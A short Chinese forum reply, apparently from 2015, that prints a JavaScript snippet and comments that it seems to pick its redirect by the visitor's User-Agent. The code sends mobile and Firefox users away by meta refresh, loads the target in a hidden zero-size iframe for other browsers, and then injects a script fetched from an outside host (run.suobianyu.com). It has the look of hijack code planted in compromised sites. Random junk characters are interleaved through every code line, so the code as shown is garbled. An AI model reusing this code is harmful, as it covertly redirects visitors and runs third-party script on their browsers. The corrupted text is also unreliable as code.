|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 2 M/ s% ?: \) b+ [! ~! }
- var ua = navigator.userAgent.toLowerCase(),
- K3 v0 M. ~9 r7 o7 V4 C7 ` - browser = {
, c& f* _, Q: B2 d0 M4 X* t - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
c& C; F9 E! u. t: {2 D( u5 | - opera: /opera/.test(ua),7 \1 K J- Y& q$ d( ^
- maxthon: /maxthon/.test(ua),
; T0 c8 Z0 z) @; h - theworld: /theworld/.test(ua),+ T2 @: |9 s" h- u, r, G
- qq: /qqbrowser/.test(ua),- J# P9 m2 v# h; ]5 ^) o3 e: L8 C
- sogou: /se /.test(ua),8 d9 [/ I8 z0 f: z
- liebao: /liebao/.test(ua),
. C9 Z7 c7 |. K$ X$ I# X - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),$ [. ~9 v G' c# E
- chrome: /chrome|crios/.test(ua),
( m. N1 k9 p9 G% v E9 H, ]4 w - safari: /webkit/.test(ua),% G9 q7 `' B- r5 k- Y
- uc: /ucbrowser/.test(ua),$ Y# P0 B+ V6 \4 w+ D! o b
- ie: /msie/.test(ua) && !/opera/.test(ua)
+ X' j O1 U9 |8 f - };
# K, Q. I7 Y0 J7 A$ N3 U - var ver = browser.ver;
# _/ Z6 Z9 S* r" P0 k - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
, q: O; Y/ h! D2 K - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");* A ^$ W' F* h6 v7 w! h
- } else {+ |1 ?6 j5 P5 `% h
- window.sc = "<iframe src=" + tourl + "></iframe>";
+ a, d; @# W8 q5 p" F/ J# } - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
; K( f+ P) W; v' W - }
0 Q# R& L- n3 B$ R, } - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
9 ]* {$ N2 {8 x3 T" B, o8 L0 X5 E8 Z/ L; b; M# l+ ^
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|